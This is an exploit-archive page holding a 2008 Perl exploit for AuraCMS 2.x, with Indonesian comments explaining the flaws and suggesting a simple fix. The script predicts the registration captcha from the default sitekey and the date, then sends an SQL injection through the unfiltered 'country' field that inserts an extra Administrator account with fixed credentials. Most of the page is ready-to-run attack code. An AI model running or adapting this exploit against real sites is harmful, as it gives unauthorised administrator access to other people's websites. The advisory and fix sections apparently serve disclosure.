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AuraCMS 2.x (user.php) Security Code Bypass / Add Administrator Exploit

Author
NTOS-Team
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-2784
Category
web applications
Date add
28-03-2008
Platform
unsorted
=======================================================================
AuraCMS 2.x (user.php) Security Code Bypass / Add Administrator Exploit
=======================================================================



#!/usr/bin/perl
#
# Indonesian Newhack Security Advisory
# ------------------------------------
# AuraCMS 2.x (user.php) - Security Code Bypass & Add Administrator Exploit
# Waktu			:  Feb 28 2008 08:00PM
# Software		:  AuraCMS   
# Versi			:  2.0
#			   2.1
#			   2.2.1
# Vendor 		:  http://www.auracms.org/
#
# ------------------------------------
# Audit Oleh 		:  NTOS-Team
# Lokasi		:  Indonesia 
# Penjelasan		:
# 
# Kutu pada berkas "user.php" direktori "/content"
#---//---
# 59. if (!$nama || preg_match("/[^a-zA-Z0-9_-]/", $nama)) $error .= "Karakter Username tidak diizinkan kecuali a-z,A-Z,0-9,-, dan _<br />";
# 60. if (strlen($nama) > 10) $error .= "Username Terlalu Panjang Maksimal 10 Karakter<br />";
# 61. if (strrpos($nama, " ") > 0) $error .= "Username Tidak Boleh Menggunakan Spasi";
# 62. if ($koneksi_db->sql_numrows($koneksi_db->sql_query("SELECT user FROM useraura WHERE user='$nama'")) > 0) $error .= "Error: Username ".$nama." sudah terdaftar , silahkan ulangi.<br />";
# 63. if ($koneksi_db->sql_numrows($koneksi_db->sql_query("SELECT user FROM temp_useraura WHERE user='$nama'")) > 0) $error .= "Error: Username ".$nama." sudah terdaftar , silahkan ulangi.<br />";
# 64. if ($koneksi_db->sql_numrows($koneksi_db->sql_query("SELECT email FROM useraura WHERE email='$email'")) > 0) $error .= "Error: Email ".$email." sudah terdaftar , silahkan ulangi.<br />";
# 65. if ($koneksi_db->sql_numrows($koneksi_db->sql_query("SELECT email FROM temp_useraura WHERE email='$email'")) > 0) $error .= "Error: Email ".$email." sudah terdaftar , silahkan ulangi.<br />";
# 66. if (!nama)  $error .= "Error: Formulir Nama belum diisi , silahkan ulangi.<br />";
# 67. if ($cekperaturan != "1") $error .= "You should be agree with rules and conditions of use!<br />";
# 68. if (!nama)  $error .= "Error: Formulir Nama belum diisi , silahkan ulangi.<br />";
# 69. if (!password)  $error .= "Error: Formulir Password belum diisi , silahkan ulangi.<br />";
# 70. if ($password != $rpassword)  $error .= "Password and Retype Password Not Macth.<br />";
# 71. if (!country)  $error .= "Error: Formulir Negara belum diisi , silahkan ulangi.<br />";
# 72. checkemail($email);
# 73. $code = substr(hexdec(md5("".date("F j")."".$_POST['random_num']."".$sitekey."")), 2, 6);
# 74. if (extension_loaded("gd") AND $code != $_POST['gfx_check']) $error .= "Error: Security Code Invalid<br />";
# 75.
# 76.
# 77. if ($error){
# 78.        $tengah .='<table width="100%" border="0" cellspacing="0" cellpadding="0" class="middle"><tr><td><table width="100%" class="bodyline"><tr><td align="left"><img src="images/warning.gif" border="0"></td><td align="center"><font class="option">'.$error.'</font></td><td align="right"><img src="images/warning.gif" border="0"></td></tr></table></td></tr></table>';
# 79. }else{
# 80.        $hasil1 = $koneksi_db->sql_query("INSERT INTO useraura (user, email, password , level, tipe, negara)VALUES('$nama', '$email', '$password','User','aktif', '$country')" );
# ---//---
# => Security Code Bypass
# baris 73 - 74 kode yang menarik,kita coba belah perlahan 2 baris ini
# $sitekey sudah terdifinisi di dalam berkas "config.php" direktori "includes"
# $_POST['random_num'] nilai acak yang dikirim melalui Form isian registrasi User secara hiden [bukan hasil isian User]
# $_POST['gfx_check'] nilai yang dikirim oleh USER melalui Form isian register User mengenai Security Code
# dan selengkap nya dapat di baca pada http://ezine.echo.or.id/ezine18/e18.005.txt
#
# => Add Administrator [INSERT Metode]
# baik... kita sudah bisa membypass sekuriti kode, sekarang buat admin baru di site target :p
# baris 71. variabel "country" jika tidak diisi hasil nya $error, namun sayang hanya sebatas itu saja aturannya :(
# kita lihat pada baris 80. VALUES('$nama', '$email', '$password','User','aktif', '$country') kembali disini tidak ada penyaringan 
# apa yang kamu pikirkan... mmm... menarik... nakal... jahat... tapi INDAH bukan... ;)
# ya... bagaimana kalo kami berpikir seperti ini ;
# 
# VALUES('$nama', '$email', '$password','User','aktif', 'Indonesia['),('Attacker', 'attacker@hack.ed', 'MD5_Pass', 'Administrator', 'aktif', 'Undergr0und]')" );
#
# baru ini namanya p0rn0c0d3...,
# satu sesi register 2 user yang di buat, pertama user yang sesuai isian form, yang kedua adalah User dengan Administrator hasil keNAKALan User :D
# terima kasih untuk author http://www.milw0rm.com/papers/149
#
# => Perbaikan Sederhana
# 1. Security Code
#    Ganti dengan Captcha yang berdasarkan session, dan cari Captcha yang tidak mudah dibaca OCR
# 2. Add Administrator
#    Ganti Kode baris 71. pada berkas "user.php" dengan ;
# ---//---
# 71. if (!$country || preg_match("/[^a-zA-Z]/", $country))   $error .= "Error: Formulir Negara belum diisi , silahkan ulangi.<br />";
# ---//---
#
# => Perhatian!
# "Exploit ini dibuat untuk pembelajaran, pengetesan dan pembuktian dari apa yang kami pelajari"
# Segala penyalahgunaan dan kerusakan yang diakibat dari exploit ini bukan tanggung jawab kami
# 
# =>Newhack Technology, OpenSource & Security
# ~ NTOS-Team->[fl3xu5,opt1lc] ~   
#
use Digest::MD5 qw(md5_hex);
use LWP::UserAgent;
use Getopt::Long;
no warnings;

if(!$ARGV[1]) {
 print "\n  |--------------------------------------------------|";
 print "\n  |          Indonesian Newhack Technology           |";
 print "\n  |--------------------------------------------------|";
 print "\n  |   AuraCMS <= 2.2.1  (user.php)                   |";
 print "\n  |   1.Security Code Bypass                         |";
 print "\n  |   2.Add Administrator                            |";
 print "\n  |                Coded by NTOS-Team                |";
 print "\n  |--------------------------------------------------|";
 print "\n  | exploit berhasil jika magic_quotes_gpc = off";
 print "\n[!] Penggunaan : ";
 print "\n[>] perl auracms-user.pl [Site] [Path] ";
 print "\n ";
 print "\n[!] Contoh     : ";
 print "\n[>] perl auracms-user.pl localhost /auracms2x/";
 print "\n ";
 print "\n";
 exit;
} 
$host		= $ARGV[0];
$path		= $ARGV[1];
$injek		= "Indonesia'),('t4mugel4p', 'gelap\@banget.gitu', '213aa1379cce2862538be1c046319684','Administrator','aktif', 'DuniaGelap";
@namabulan 	= qw(January February March April May June July August September October November December);
$sitekey 	= "x1a1MhphAur4kea7V3Rs820dweOwxIw4n3UgSusyM4nt04"; #defaul sitekey dari config.php
$tgl 		= (localtime)[3];
$bln 		= (localtime)[4];
$bulan 		= $namabulan[$bln];
$date 		= "$bulan $tgl";

## Breaking Security Code Auracms 2.x
$browser	= LWP::UserAgent->new() or die();
$getgfx 	= $browser -> get("http://".$host.$path."?pilih=user&aksi=register",);
$get 		= $getgfx -> content;
	if ($get =~ /random_num" value="(.*?)"><\/td>/)	{ 
	$randnum = $1; 
	}
$gfx = substr(hex(md5_hex($date.$randnum.$sitekey)), 2, 6);

## Proses Add Administrator
$browser	= LWP::UserAgent->new() or die();
$postingkomen = $browser -> post(
"http://".$host.$path."?pilih=user&aksi=register",
	[
	  "nama"=>"t1pu4n",
	  "email"=>"k3tipu\@nie.yea",
	  "password"=>"terimakasih",
	  "rpassword"=>"terimakasih",
	  "country"=>$injek,
	  "gfx_check"=>$gfx,
	  "random_num"=>$randnum,
	  "cekperaturan"=>"1",
	  "submit"=>"Submit",
	],
);
	$komen = $postingkomen -> content;
	if ($komen =~ />Please Login With Your Username and Your Password</) {
	print "[+]Sukses Register User\n"; 
	print "[+]Silahkan dicoba login\n";
	print "[+]Username : t4mugel4p\n";
	print "[+]Password : t4mugel4p\n";
	exit();}
	if ($komen =~ />Error/) {
	print "[!]Terjadi Kesalahan Pada Proses Register\n"; 
	exit();}
	print $komen;
	print "[!]\n Exploit Gagal!!! ;)\n";




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